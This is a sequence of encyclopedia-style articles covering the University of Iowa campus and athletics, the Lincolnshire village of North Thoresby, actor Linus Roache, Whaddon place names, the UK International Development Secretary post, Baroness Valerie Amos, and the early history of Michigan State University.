Of architectural note is the Pentacrest which comprises five major buildings—Old Capitol, Schaeffer Hall, MacLean Hall, Macbride Hall, and Jessup Hall—at the center of the University of Iowa Campus. The Pentacrest reflects the Beaux-Arts in addition to Greek Revival architectural styles and the Collegiate Gothic architecture, which is dominant in sections of the campus east of the Iowa River. The Old Capitol was once the home of the state legislature and the primary government building for the State of Iowa but is now the symbolic heart of the university with a restored ceremonial legislative chamber and a museum of Iowa history.
Also on the east side of the campus are six residence halls (Burge, Daum, Stanley, Currier, Mayflower, and Catlett), the Iowa Memorial Union, the Women's Resource & Action Center, the Pappajohn Business Building, Seamans Center for the Engineering Arts and Sciences, the Lindquist Center (home of the College of Education), Phillips Hall (the foreign language building), Van Allen Hall (home to physics and astronomy), Trowbridge Hall (home to Earth & Environmental Sciences, as well as the Iowa Geological Survey), the English-Philosophy Building, the Becker Communication Building, the Adler Journalism Building, Voxman Music Building, and the buildings for biology, chemistry, and psychology. The Main Library can also be found on the east side.
The Colleges of Law, Medicine, Nursing, Dentistry, Pharmacy, and Public health are on the west side of the Iowa River, along with the University of Iowa Hospitals and Clinics, Art Building West and Visual Arts Building, and the Theatre Building. Additionally, five residence halls (Hillcrest, Slater, Rienow, Parklawn, and Petersen), Kinnick Stadium, and Carver-Hawkeye Arena are located on the west campus.
The campus is home to several museums, including the University of Iowa Stanley Museum of Art, the Museum of Natural History, the Old Capitol Museum, the Medical Museum, the Athletic Hall of Fame and Museum, and Project Art at the University Hospitals and Clinics.
A flood of the Iowa River in 2008 had a major impact on several campus buildings, forcing many to temporarily or permanently close. The upper levels of the Iowa Memorial Union remained open while its lower level was renovated. The arts campus, which included Art Building West, Old Art Building, Hancher Auditorium, Voxman Music Building, Clapp Recital Hall, and the Theatre Building, sustained significant damage. Art Building West reopened in 2012 after repairs were completed. Sections of Old Art Building were razed, leaving only the historic WPA-era building, which includes regionalist artist Grant Wood's former studio. Esteemed artists Elizabeth Catlett, Ana Mendieta, and Charles Ray were all trained in this building. The new Visual Arts Building was opened on a higher plot of land adjacent to Art Building West in 2016 after years when studio arts were housed in a temporary facility. Hancher Auditorium was rebuilt near its current site on the West bank of the Iowa River, and Voxman Music Hall was constructed adjacent to downtown Iowa City and the main campus on South Clinton Street. The new Hancher Auditorium and the new Voxman Music Building opened in 2016.
The Oakdale Campus, which is home to some of the university's research facilities and the driving simulator, is located north of Interstate 80 in adjacent Coralville.
Campus Public Art Collection
The University of Iowa holds and continues to commission an extensive collection of public art. The program began under the Iowa State 'Art in State Buildings Program,' one of the first percent for art programs in the United States since repealed in 2017. The collection includes many important works, including works by artists: Sol LeWitt (2-3-1-1, 1994); El Anatsui (Anonymous Creature 2009); Dale Chihuly (Forest Amber and Gilded Chandelier, 2004); August Rodin (Jean de Fiennes, draped, 1889); Peter Randall-Page (Ridge and Furrow, 2011).
Sustainability
The University of Iowa is one of the EPA's Green Power Partners, burning oat hulls instead of coal and reducing coal consumption by 20%. In May 2004, the university joined the Chicago Climate Exchange, and in April 2009, a student garden was opened.
The university also offers a Certificate in Sustainability through the Office of Sustainability (OS). The OS recently coordinated the University's first sustainability plan: "2020 Vision UIowa Sustainability Targets," proposed by UI President Sally Mason on October 29, 2010.
Organization and administration
The Iowa Board of Regents, a statewide body, governs the University of Iowa, as well as the state's two other public universities (Iowa State University and the University of Northern Iowa), along with certain other institutions. Created by the Iowa General Assembly in 1909, the Board of Regents is composed of nine volunteer members appointed by the governor and confirmed by the Iowa Senate to serve staggered six-year terms. The Iowa Board of Regents hires the president of the University of Iowa, and the university president reports to the Board. The 22nd and current president of the University of Iowa is Barbara J. Wilson, who has served since July 15, 2021.
Academics
The University of Iowa is regularly recognized as one of the top institutions of higher learning in the country, and over 5,000 courses are offered at the university each year. Iowa is one of 61 elected members in the Association of American Universities. The university is home to ISCABBS, a public bulletin board system that was the world's largest Internet community before the commercialization of the World Wide Web.
The Iowa Writers' Workshop was founded in 1936. Since 1947 it has produced thirteen Pulitzer Prize winners. Twenty-five people affiliated with the Writers' Workshop have won a Pulitzer Prize. The Hanson Center for Technical Communication was founded at The University of Iowa and named after a 1960 graduate, Thomas R. Hanson, who funded the institution with $800,000.
The university has educated many of the state's professionals, including 79% of Iowa's dentists, 50% of physicians, 48% of pharmacists, as well as many teachers and administrators in each of the state's K–12 school districts.
University of Iowa Libraries
The University of Iowa library system is the state's largest library and comprises the Main Library, the Hardin Library for the Health Sciences, five branch libraries, and the Law Library. The University Libraries' holdings include more than five million bound volumes, more than 200,000 rare books, and 1000 historical manuscript collections. Significant holdings include Hardin Library's John Martin Rare Book Room, the Iowa Women's Archives, the Louis Szathmary culinary arts collections, the Ruth and Marvin Sackner Archive of Concrete and Visual Poetry, science fiction collections, and works of Walt Whitman. The comic books collection in the Special Collections contains original art for 6,000 cartoons, film and television scripts, magazines and other underground or amateur publications, as well as mainstream books from throughout the 20th and 21st centuries.
Rankings
In 2021, the University of Iowa tied for 88th among national universities, tied for 34th among public universities, placed 108th among "Best Value Schools," tied for 77th among "Most Innovative Schools," and tied for 353rd in "Top Performers on Social Mobility" by U.S. News & World Report.
In graduate school rankings for 2021, U.S. News & World Report ranked Iowa's Carver College of Medicine tied for 20th in the U.S. for primary care and tied for 34th for research. Its College of Public Health tied for 19th, its College of Pharmacy tied for 18th, its College of Law tied for 27th, and its Nursing School tied for 21st.
U.S. News & World Report also ranked 9 University of Iowa graduate programs among the top 25 in the United States for 2021.
According to the National Science Foundation, Iowa spent $511 million on research and development in 2018, ranking it 51st in the United States.
Research Institutes
Institute of Agricultural Medicine. The Institute of Agricultural Medicine was established in 1955 to study rural public health issues with a grant from the W. K. Kellogg Foundation. It was later renamed the Institute of Agricultural Medicine and Occupational Health.
IIHR–Hydroscience & Engineering (Iowa Institute of Hydraulic Research). IIHR—Hydroscience & Engineering is a world-renowned center for education, research, and public service focusing on hydraulic engineering and fluid mechanics. Based in the C. Maxwell Stanley Hydraulics Laboratory, a five-story red brick building on the banks of the Iowa River, IIHR is a unit of the University of Iowa's College of Engineering. Because of its contributions to water's study and use, the American Society of Civil Engineers recognized the Stanley Hydraulics Lab as a National Historic Civil Engineering Landmark. The ASCE distinguishes the lab as the "oldest university-based hydraulics laboratory in the nation continuously focusing on research and education in hydraulic engineering."
Public Policy Center. The Public Policy Center (PPC) is an interdisciplinary academic research center investigating six policy areas: Environmental, Health, Housing & Land Use, Human Factors & Vehicle Safety, Social Science, and Transportation. The University of Iowa Public Policy Center (PPC) was founded in 1987 by David Forkenbrock, Professor of Urban and Regional Planning, as a freestanding unit in the Office of the Vice President for Research. The PPC's original focus was Transportation Policy research, followed by Health Policy research (1990) and Human Factors and Vehicle Safety research (1996).
Student life
There are also over 500 student organizations, including groups focused on politics, sports, games, lifestyles, dance, song, theater, and a variety of other activities. The University also tries to sponsor events that give students an alternative to the typical drinking scene. In 2004 the University established an annual $25,000 contract with the newly reopened Iowa City Englert Theatre to host concerts and performances for as many as 40 nights a year. Students participate in a variety of student media organizations. For example, students edit and manage The Daily Iowan newspaper (often called the DI), which is printed every Monday through Friday while classes are in session. Noted pollster George Gallup was an early editor of the DI. Daily Iowan TV, KRUI Radio, Student Video Productions, Off Deadline magazine, and Earthwords magazine are other examples of student-run media.
Athletics
The University of Iowa has 22 varsity athletic teams, known as the Hawkeyes. All teams are members of the Big Ten Conference in the National Collegiate Athletic Association's Division I. There are 10 men's teams and 12 women's teams. Three of these teams - men's gymnastics, men's swimming and diving, and men's tennis - were eliminated after the 2020–21 academic year to help address a projected $60–75 million deficit related to the COVID-19 pandemic.
Wrestling
Iowa's most successful team is men's wrestling, which has won 24 of the school's 26
NCAA championships. Fifteen of those championships occurred during Dan Gable's 21-year tenure as head coach (1977-1997). It has 35 Big Ten titles, 81 individual NCAA Titles, and has graduated 17 Olympians. The team is currently coached by alumnus Tom Brands.
Football
Iowa's football team is one of the most financially valuable college programs in the country. They have won 11 Big Ten championships and claim a share of the 1921, 1922, 1956, 1958 and 1960 national championships. The program has produced 10 members of the College Football Hall of Fame, 27 consensus first-team All-Americans, 5 members of the Pro Football Hall of Fame and 245 NFL Draft Picks. The team is currently coached by Kirk Ferentz, who has completed his 21st year following coach Hayden Fry, who coached the previous 20 seasons.
Field hockey
Iowa's field hockey team is the most successful women's team at the university, winning the 1986 national championship. They have won 13 conference titles and have made 11 Final Four appearances in the 33-year history of the NCAA tournament, despite field hockey not being a high school sport in Iowa. The program has produced 85 All-Americans and 13 Olympians. The program is currently coached by Lisa Celluci.
Other sports
Other sports at the university include basketball, soccer, baseball, softball, gymnastics, golf, swimming and diving, tennis, track and field, volleyball, cross country, and rowing. Most of the school's athletic facilities are located on the west end of campus. The largest venue is the 70,585-seat Kinnick Stadium, home to the football program. Opening in 1929 as Iowa Stadium, it was renamed in 1977 after Nile Kinnick, winner of the 1939 Heisman Trophy. The basketball, wrestling, gymnastics, and volleyball teams play at Carver-Hawkeye Arena, which seats 15,400. Other venues include the Beckwith Boathouse, Duane Banks Field, and the old Iowa Fieldhouse.
Notable alumni and faculty
Among the thousands of graduates from the University of Iowa, especially notable alumni include George Gallup, founder of the Gallup Poll (BA, 1923); Tennessee Williams, author of "A Streetcar Named Desire" and "Cat on a Hot Tin Roof" (BA 1938); Gene Wilder, comedic film and television actor (BA 1955, Communication and Theatre Arts); Andre Tippett, NFL Hall of Fame linebacker; James Van Allen, world-famous physicist and discoverer of two radiation belts (the Van Allen Belts) that surround the earth, Emeritus Carver Professor of Physics at the University of Iowa (MS 1936, PhD 1939, Physics); Mauricio Lasansky, Latin American artist known as the father of modern printmaking, founder of the University of Iowa’s ‘Iowa print group’; Albert Bandura, one of the most cited psychologists of all-time as originator of social cognitive theory (MA 1951, PhD 1952); (Mary) Flannery O'Connor, novelist and author of numerous short stories (MFA 1947, English); Sarai Sherman, a twentieth century modernist painter whose work is in major national and international collections; John Irving, novelist who wrote The World According to Garp, A Prayer for Owen Meany, and several others (MFA 1967, English); and Jenny Zhang (writer), a modern writer and poet. Jewel Prestage, the first African-American woman to earn a Ph.D. in political science, graduated with a master's and a doctorate in 1954. Tom Brokaw, Mark Mattson, and Ashton Kutcher also attended the University of Iowa.
See also
Monster Study
Nachte Raho
References
Further reading
Lena M. Hill and Michael D. Hill, Invisible Hawkeyes: African Americans at the University of Iowa during the Long Civil Rights Era. Iowa City, IA: University of Iowa Press, 2016.
External links
Iowa Athletics website
1847 establishments in Iowa
Buildings and structures in Iowa City, Iowa
Education in Johnson County, Iowa
Educational institutions established in 1847
University of Iowa
Tourist attractions in Iowa City, Iowa
Flagship universities in the United States | [
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241121 | https://en.wikipedia.org/wiki/North%20Thoresby | North Thoresby | North Thoresby is a village and civil parish in the East Lindsey district of Lincolnshire, England. It is situated between Louth and Grimsby, approximately from each, and has a village population of 1,068 (2011) with 50.5% of the population being over 60.
The area is chiefly agricultural but the majority of employed residents work in Grimsby and Cleethorpes or in the industries situated on the Humber bank.
The name North Thoresby is composed of the given name Thor and the suffix 'by', as with other villages in the area – indicating the influence of the Vikings. South Thoresby also in Lincolnshire, is to be found to the south of Louth, whilst Thoresby Hall is not in the area, but in Nottinghamshire some to the west.
History
Evidence was found, just outside the village, that grapes were grown in the area by the Romans but the claim has been contested. The Village lies on a Roman road from Cadeby to North Coates, believed to have been a route of salt transportation from the coast to Lincoln.
North Thoresby is listed in the same Domesday entry as Autby, and in 1416 it was combined into Thoresby-cum-Autby parish, following the desertion of Autby and the loss of the village church.
The Anglican parish church, St Helen's, occupies a site where Christian worship has continued for more than 1,000 years. Like most churches of its age it has seen many alterations from an original simple room to a 15th-century edifice with north and south aisles. The south aisle was demolished in Elizabethan times but remains of it survive inside the church. The church includes part of a Saxon grave cover, Tudor bench-ends and Restoration plaques which record the work tradesman such as "putty makers". There is also a memorial tablet to Francis Bond (1852-1918), the late 19th-century authority on Gothic architecture, who was born in the village. Historically the parish was within Haverstoe, the south division of the Bradley-Haverstoe wapentake, in the North Riding of Lindsey.
North Thoresby was enclosed in 1839, its Tithe barn still stands having been converted into a private dwelling standing to the east of the rectory.
Wesleyans and Primitive Methodists each had a chapel here prior to 1900. The Methodist chapel, school and school house, were built in the mid-19th century. In 1985 the school and house were converted into a community centre, The Wesley Centre, when the primary school relocated to a new building on High Street.
During the Second World War, on 4 October 1943, an RAF Avro Lancaster ED583 crashed in the village during a test flight from RAF Waltham, killing the crew. A memorial was dedicated to them on 4 September 2005.
Governance
An electoral ward in the same name exists. This ward stretches south to Ludborough with a total population taken at the 2011 census of 1,933.
Amenities
North Thoresby has two public houses (with restaurants), a number of shops, a microbrewery, a used-car sales company, a primary school, surgery and pharmacy, a village hall, and facilities for football, cricket and bowls. Both the Parish Council and a voluntary group, The Village People, promote community activities.
Transport
North Thoresby is on the route of regular bus service between Louth and Grimsby. The village is also served by the National Express route between Grimsby and London, and Grimsby and Westward Ho!, stopping on the A16 close to the Halfway House, formerly Marquis of Granby public house. The village's railway station was on the East Lincolnshire Railway line from Louth to Grimsby until closed to passengers in 1970, with all freight movement on the line suspended in 1980 following the Beeching Axe. The line was reopened in part as the Lincolnshire Wolds heritage railway in 2009, which currently runs between the village and Ludborough.
Sport
North Thoresby and District Bowls Club are an outdoor bowls club affiliated to the English Bowling Federation, and play in four leagues - Grimsby, Skegness, Louth Wold and Lindsey Marsh. The team is based at The Storr Green. Amy Monkhouse, a World Ladies Bowls Champion, first became interested in the game at the club.
Notable people
Luke Fawcett, a trade unionist, awarded a knighthood in 1948.
Thomas Kendall, a New Zealand missionary and recorder of the Māori language.
Robert Mapletoft, an English churchman and academic, Master of Pembroke College, Cambridge and Dean of Ely.
References
Webster et al. 1967 A Possible Vineyard of the Romano-British period at North Thoresby, Lincolnshire. Lincolnshire History and Archaeology. No. 2
External links
"NorthThoresby", Genuki.org.uk
VisitorUK.com
Archaeological finds from North Thoresby, Picasaweb.google.com
North Thoresby, Grainsby and Waithe Parish Council page at Lincolnshire Council
A Vision of Britain through Time: North Thoresby historical population
Villages in Lincolnshire
Civil parishes in Lincolnshire
East Lindsey District | [
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241123 | https://en.wikipedia.org/wiki/Linus%20Roache | Linus Roache | Linus William Roache (born 1 February 1964) is a British actor. He is known for playing Executive ADA Michael Cutter in the NBC dramas Law & Order (2008–2010) and Law & Order: Special Victims Unit (2011–2012). More recently, Roache played Ecgberht, King of Wessex in Vikings from 2014 to 2017.
He was nominated for a Golden Globe Award for playing Robert F. Kennedy in RFK (2002) and won a Satellite Award for Best Supporting Actor (TV) for his role as Ralph Wigram in The Gathering Storm (2002). His film appearances include Priest (1994), The Wings of the Dove (1997), Pandaemonium (2000), Batman Begins (2005), Non-Stop (2014) and Mandy (2018). In 2018 and 2020 he had a recurring role in the final two seasons of Homeland.
Early life
Roache was born in Manchester, England, the son of Coronation Street actor William Roache and actress Anna Cropper. Roache was educated at Bishop Luffa School in Chichester, West Sussex, and at Rydal School in Colwyn Bay in north Wales. He studied acting at the Central School of Speech and Drama. He married Rosalind Bennett in Malvern Hills, Worcestershire, in 2002. They have no children.
Career
In 1975 Roache appeared in Coronation Street playing Peter Barlow, the son of his father's character Ken Barlow. Roache is also a past member of the Royal Shakespeare Company.
In the 1990s Roache began a career in films while remaining active in television and on stage. In 1994 he received acclaim for his leading role in Antonia Bird's Priest. He went on to star opposite Helena Bonham Carter in the 1997 film The Wings of the Dove and to play the role of Thomas Wayne, father of Batman, in Batman Begins (2005). On television he played Executive Assistant District Attorney Michael Cutter in two American series, Law & Order (2008–2010) and Law & Order: Special Victims Unit (2011–2012).
In June 2010 it was announced that he would return to play Laurence Cunningham alongside his father William Roache, in Coronation Street. In July 2010 he was cast in the HBO pilot The Miraculous Year.
In April 2011 Roache was cast as the lead in the ITV miniseries Titanic, airing in March and April 2012 to coincide with the 100th anniversary of the sinking of the ship.
In February 2014 Roache debuted in season two of the TV series Vikings as Ecbert of the Kingdom of Wessex.
He starred in seasons seven and eight of the TV series Homeland as David Wellington in 2018.
Filmography
Film
Television
Selected theatre
Tom Wingfield in The Glass Menagerie by Tennessee Williams. Directed by Ian Hastings at the Royal Exchange, Manchester. (1989)
The title role in Richard II. Directed by James Macdonald at the Royal Exchange, Manchester. (1993)
References
External links
1964 births
Living people
Male actors from Manchester
English male film actors
English male television actors
English male stage actors
English male child actors
People educated at Rydal Penrhos
Royal Shakespeare Company members
English male Shakespearean actors
20th-century English male actors
21st-century English male actors
Alumni of the Royal Central School of Speech and Drama
People educated at Bishop Luffa School | [
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241124 | https://en.wikipedia.org/wiki/Whaddon | Whaddon | Whaddon may refer to several places in England:
Whaddon, Buckinghamshire
Whaddon, Cambridgeshire
Whaddon, Cheltenham, Gloucestershire
Brookthorpe-with-Whaddon, Gloucestershire
Whaddon, Wiltshire, hamlet near Trowbridge
Whaddon, Salisbury, village near Salisbury, Wiltshire | [
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241125 | https://en.wikipedia.org/wiki/Secretary%20of%20State%20for%20International%20Development | Secretary of State for International Development | The Secretary of State for International Development, also referred to as the International Development Secretary, was a senior Minister of the Crown within the Government of the United Kingdom, and head of the Department for International Development (DFID). The office formed part of the British Cabinet.
The Department for International Development was abolished in September 2020, and Anne-Marie Trevelyan was the final holder of the post.
The office was shadowed by the Shadow Secretary of State for International Development.
Responsibilities
Corresponding to what is generally known as an international development minister in many other countries, the International Development Secretary's remit included:
Oversight of development aid
Oversight of international development (developing countries)
Delivery and management of spending 0.7% GNI on development
Communications for international development
History
A separate Ministry of Overseas Development was established by Harold Wilson when he came to office in 1964. The first three holders of the office served in the Cabinet, but from 29 August 1967 the office was demoted. Under Edward Heath, the Ministry was re-incorporated into the FCO on 15 October 1970. Wilson again established the Ministry in 1974, but later merged it into the FCO once again: from 10 June 1975 to 8 October 1979 the foreign secretary served as Secretary of State for Foreign and Commonwealth Affairs and Minister for Overseas Development in the cabinet, while the minister for overseas development held the rank of Minister of State within the Foreign and Commonwealth Office. The minister of state had day-to-day responsibility. Under the Labour government of the 1970s, Reg Prentice sat in the Cabinet during his term. The post's last and main format was created in 1997 when the Department for International Development was made independent of the Foreign and Commonwealth Office (FCO).
In June 2020, it was announced the Department for International Development would be dissolved, and its operations would be merged into the Foreign and Commonwealth Office. The process was completed by 2 September 2020, with the last international development secretary Anne-Marie Trevelyan remaining in place until that time.
List of Ministers and Secretaries of State
Ministers of Overseas Development (1964–1970)
Ministers for Overseas Development (1970–1997)
Secretaries of State for International Development (1997–2020)
References
International Development
Ministerial offices in the United Kingdom
1964 establishments in the United Kingdom
2020 disestablishments in the United Kingdom
Department for International Development | [
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241126 | https://en.wikipedia.org/wiki/Valerie%20Amos%2C%20Baroness%20Amos | Valerie Amos, Baroness Amos | Valerie Ann Amos, Baroness Amos, (born 13 March 1954), is a British Labour Party politician and diplomat who served as the eighth UN Under-Secretary-General for Humanitarian Affairs and Emergency Relief Coordinator. Before her appointment to the UN, she served as British High Commissioner to Australia. She was created a life peer in 1997, serving as Leader of the House of Lords and Lord President of the Council from 2003 to 2007. Since September 2020, Amos has been Master of University College, Oxford, succeeding Sir Ivor Crewe and becoming the first-ever black head of an Oxford college, as well as the first female appointed to the post.
When she was appointed Secretary of State for International Development on 12 May 2003, following the resignation of Clare Short, Amos became the first Black, Asian and minority ethnic (BAME) woman to serve as a Cabinet minister. She left the Cabinet when Gordon Brown became Prime Minister. In July 2010, Secretary-General of the United Nations Ban Ki-moon announced Baroness Amos's appointment to the role of Under-Secretary-General for Humanitarian Affairs and Emergency Relief Coordinator. She took up the position on 1 September 2010 and remained in post until 29 May 2015. In September 2015, Amos was appointed Director of SOAS, University of London, becoming the first black woman to lead a university school in the United Kingdom.
Early life
Amos was born in 1954 in British Guiana (now Guyana) in South America and, after moving with her family to Great Britain in 1963, she attended Bexley Technical High School for Girls (now Townley Grammar School), Bexleyheath, where she was the first black deputy head girl. She completed a degree in Sociology at the University of Warwick (1973–76), and also later took courses in cultural studies at the University of Birmingham and the University of East Anglia.
Charity career
After working in Equal Opportunities, Training and Management Services in local government in the London boroughs of Lambeth, Camden and Hackney, Amos became Chief Executive of the Equal Opportunities Commission in 1989, leaving the position in 1994.
In 1995, Amos co-founded the consultancy firm Amos Fraser Bernard and was an adviser to the South African government on public service reform, human rights and employment equity.
Amos has also been Deputy Chair of the Runnymede Trust (1990–98), a Trustee of the Institute for Public Policy Research, a non-executive Director of the University College London Hospitals Trust, a Trustee of Voluntary Service Overseas, Chair of the Afiya Trust, Member of the board of the Sierra Leone Titanium Resources Group, a director of Hampstead Theatre and chair of the Board of Governors of the Royal College of Nursing Institute.
House of Lords
Amos was elevated to the peerage in August 1997 as Baroness Amos, of Brondesbury in the London Borough of Brent. In the House of Lords, she was a co-opted member of the Select Committee on European Communities Sub-Committee F (Social Affairs, Education and Home Affairs) from 1997 to 1998. From 1998 to 2001, she was a Government Whip in the House of Lords and also a spokesperson on Social Security, International Development and Women's Issues as well as one of the Government's spokespersons in the House of Lords on Foreign and Commonwealth Affairs. Baroness Amos was appointed Parliamentary Under-Secretary for Foreign & Commonwealth Affairs on 11 June 2001, with responsibility for Africa; Commonwealth; Caribbean; Overseas Territories; Consular Issues and FCO Personnel. She was replaced by Chris Mullin.
International Development Secretary and Leader of the House of Lords
After previously threatening to resign as International Development Secretary in the lead-up to the 2003 invasion of Iraq, Clare Short eventually stood down in May 2003 over a draft UN resolution which she felt failed to give "the UN its promised central role in rebuilding Iraq". Baroness Amos, who had been serving as Foreign Office minister and as a spokesperson in the Lords for International Development was swiftly announced as Short's replacement. Her appointment made her "the UK's first black woman cabinet minister" and was an unusual example of a government department being headed by a member of the House of Lords.
Baroness Amos was appointed Leader of the House of Lords on 6 October 2003, following the death of Lord Williams of Mostyn, which meant that her tenure as Secretary of State for International Development lasted less than six months.
On 17 February 2005, the British Government nominated Lady Amos to head the United Nations Development Programme.
Non-governmental roles
Baroness Amos left the cabinet when Gordon Brown took over as Prime Minister from Tony Blair in June 2007. Brown proposed her as the European Union special representative to the African Union. However, Belgian career diplomat Koen Vervaeke was appointed to this role instead. She was a member of the Committee on Commonwealth Membership, which presented its report on potential changes in membership criteria for the Commonwealth of Nations at the Commonwealth Heads of Government Meeting 2007 in Kampala, Uganda.
On 8 October 2008, it was reported that Amos was to join the Football Association's management board for England's bid to host the 2018 World Cup. This was described as a "surprise appointment", since she has no recorded interest in football (despite her interest in cricket) or any experience in similar work such as the 2012 Olympics bid.
British High Commissioner to Australia
On 4 July 2009, it was advised that Baroness Amos had been appointed British High Commissioner to Australia in succession to Helen Liddell (now Baroness Liddell). Amos took up the position in October 2009.
UN Emergency Relief Coordinator
In 2010, United Nations Secretary-General Ban Ki-moon announced Amos's appointment as Under-Secretary-General for Humanitarian Affairs and Emergency Relief Coordinator. In March 2012, she visited Syria on behalf of the UN to press the Syrian government to allow access to all parts of Syria to help people affected by the 2011–2012 Syrian uprising.
In 2015, World Health Organization (WHO) Director General Margaret Chan appointed Amos as member of the Advisory Group on Reform of WHO's Work in Outbreaks and Emergencies with Health and Humanitarian Consequences. Since 2019, Amos has been serving on the Center for Strategic & International Studies’ (CSIS) Task Force on Humanitarian Access, co-chaired by Cory Booker and Todd Young.
University career
In September 2015, she became the ninth director of SOAS University of London, she is the first woman of African descent to be director of an institute of higher education in Great Britain. In 2019, she co-led a report by Universities (UUK) and the National Union of Students (NUS) addressing the disparity between the proportion of 'top degrees' (first or 2:1 degrees) achieved by white and black, Asian and minority ethnic (BAME) students.
In January 2021, Amos left her position at SOAS to become Master of University College, Oxford, as both the first female appointed to that post and the first black head of any Oxford college.
Honours
Lady Amos was awarded an Honorary Professorship at Thames Valley University in 1995 in recognition of her work on equality and social justice. On 1 July 2010, Amos received an honorary doctorate (Hon DUniv) from the University of Stirling in recognition of her "outstanding service to our society and her role as a model of leadership and success for women today." She has also been awarded the honorary degrees of Doctor of Laws (Hon LLD) from the University of Warwick in 2000 and the University of Leicester in 2006.
At the University of Birmingham, where she studied as an undergraduate, the Guild of Students have named one of the committee rooms "The Amos Room" after her, in acknowledgement of her services to society.
In 2013, Amos was made an honorary Doctor of Civil Law at Durham University.
Amos was appointed a Companion of the Order of the Companions of Honour (CH) in the 2016 Birthday Honours for services to the United Nations and emergency relief.
In 2017, Baroness Amos was awarded an honorary degree at Middlesex University, thereby "recognising achievement at the highest level as well as dedication to public duty and making a difference to others' lives."
In July 2018, Baroness Amos received an honorary Doctor of Laws degree from the University of Bristol.
She was elected to the American Academy of Arts and Sciences as an International Honorary Member in 2019.
On 1 January 2022, the Queen made Amos a Lady Companion of the Order of the Garter.
Personal life
Amos is an enthusiast of cricket and talked about her love of the game with Jonathan Agnew on Test Match Special during the lunch break of the first day of the England v. New Zealand test match at Old Trafford in May 2008.
After resigning from the cabinet, Baroness Amos took up a directorship with Travant Capital, a Nigerian private equity fund launched in 2007. In the House of Lords Register of Members Interests, she lists this directorship as remunerated.
Amos was listed as one of "the 50 best-dressed over-50s" by The Guardian in March 2013.
References
External links
UN Forum Speaker: Baroness Valerie Amos UNA UK (Archived)
About us - Head of OCHA United Nations Office for the Coordination of Humanitarian Affairs
Graham Brown-Martin Baroness Valerie Amos Interview Trace, 2010 (Archived)
|-
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|-
1954 births
Living people
Alumni of the University of Birmingham
Alumni of the University of East Anglia
Alumni of the University of Warwick
Black British women politicians
British Christians
British Secretaries of State
Female life peers
Female members of the Cabinet of the United Kingdom
Guyanese Christians
Guyanese emigrants to England
High Commissioners of the United Kingdom to Australia
Labour Party (UK) life peers
Life peers created by Elizabeth II
Leaders of the House of Lords
Lord Presidents of the Council
Members of the Privy Council of the United Kingdom
People educated at Townley Grammar School
Under-Secretaries-General of the United Nations
British women ambassadors
British officials of the United Nations
People from Bexleyheath
Masters of University College, Oxford
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241128 | https://en.wikipedia.org/wiki/Michigan%20State%20University | Michigan State University | Michigan State University (MSU) is a public land-grant research university in East Lansing, Michigan. MSU was founded in 1855 and served as a model for land-grant colleges and universities later created under the Morrill Act of 1862. The university was founded as the Agricultural College of the State of Michigan, one of the country's first institutions of higher education to teach scientific agriculture. After the introduction of the Morrill Act, the college became coeducational and expanded its curriculum beyond agriculture. Today, MSU is one of the largest universities in the United States (in terms of enrollment) and has approximately 634,300 living alumni worldwide.
U.S. News & World Report ranks its graduate programs the best in the U.S. in elementary teacher's education, secondary teacher's education, industrial and organizational psychology, rehabilitation counseling, African history (tied), supply chain logistics and nuclear physics in 2019. MSU pioneered the studies of packaging, hospitality business, supply chain management, and communication sciences. Michigan State is a member of the Association of American Universities and is classified among "R1: Doctoral Universities – Very high research activity". The university's campus houses the National Superconducting Cyclotron Laboratory, the W. J. Beal Botanical Garden, the Abrams Planetarium, the Wharton Center for Performing Arts, the Eli and Edythe Broad Art Museum, the Facility for Rare Isotope Beams, and the country's largest residence hall system.
The Michigan State Spartans compete in the NCAA Division I Big Ten Conference. Michigan State Spartans football won the Rose Bowl Game in 1954, 1956, 1988 and 2014, and the university claims a total of six national football championships. Spartans men's basketball won the NCAA National Championship in 1979 and 2000 and has attained the Final Four eight times since the 1998–1999 season. Spartans ice hockey won NCAA national titles in 1966, 1986 and 2007. The women's cross country team was named Big Ten champions in 2019. In the fall of 2019, MSU student-athletes posted all-time highs for graduation success rates and federal graduation rates, according to NCAA statistics.
History
Agricultural roots
The Michigan Constitution of 1850 called for the creation of an "agricultural school", though it was not until February 12, 1855, that Michigan Governor Kinsley S. Bingham signed a bill establishing the United States' first agricultural college, the Agricultural College of the State of Michigan. Classes began on May 13, 1857, with three buildings, five faculty members, and 63 male students.
The first president, Joseph R. Williams, encouraged a curriculum that required more scientific study than practically any undergraduate institution of the era. It balanced science, liberal arts, and practical training. The curriculum excluded Latin and Greek studies since most applicants did not study any classical languages in their rural high schools. However, it did require three hours of daily manual labor, which kept costs down for both the students and the college. Despite Williams' innovations and his defense of education for the masses, the State Board of Education saw Williams' curriculum as elitist. They forced him to resign in 1859 and reduced the curriculum to a two-year vocational program.
Land-Grant pioneer
In 1860, Williams became acting lieutenant governor and helped pass the Reorganization Act of 1861. This restored the college's four-year curriculum and gave the college the power to grant master's degrees. Under the act, a newly created body, known as the State Board of Agriculture, took over from the State Board of Education in running the institution. The college changed its name to State Agricultural College, and its first class graduated in the same year. As the Civil War had begun, there was no time for an elaborate graduation ceremony. The first alumni enlisted to the Union Army. Williams died, and the following year, Abraham Lincoln signed the First Morrill Act of 1862 to support similar colleges, making the Michigan school a national model. Shortly thereafter, on March 18, 1863, the state designated the college its land-grant institution making Michigan State University the nation's first land-grant college.
Co-ed college
The college first admitted women in 1870, although at that time there were no female residence halls. The few women who enrolled boarded with faculty families or made the arduous stagecoach trek from Lansing. From the early days, female students took the same rigorous scientific agriculture courses as male students. In 1896, the faculty created a "Women Course" that melded a home economics curriculum with liberal arts and sciences. That same year, the college turned the Abbot Hall male dorm into a women's dormitory. It was not until 1899 that the State Agricultural College admitted its first African American student, William O. Thompson. After graduation, he taught at what is now Tuskegee University. President Jonathan L. Snyder invited its president Booker T. Washington to be the Class of 1900 commencement speaker. A few years later, Myrtle Craig became the first woman African American student to enroll at the college. Along with the Class of 1907, she received her degree from U.S. President Theodore Roosevelt, commencement speaker for the Semi-Centennial celebration. The City of East Lansing was incorporated the same year, and two years later the college changed its name to Michigan Agricultural College (M.A.C.).
Big Ten university
During the early 20th century, MAC expanded its curriculum well beyond agriculture. By 1925 it had expanded enough to change its name to Michigan State College of Agriculture and Applied Science (MSC), or "Michigan State" for short. In 1941, the Secretary of the State Board of Agriculture, John A. Hannah, became president of the college.
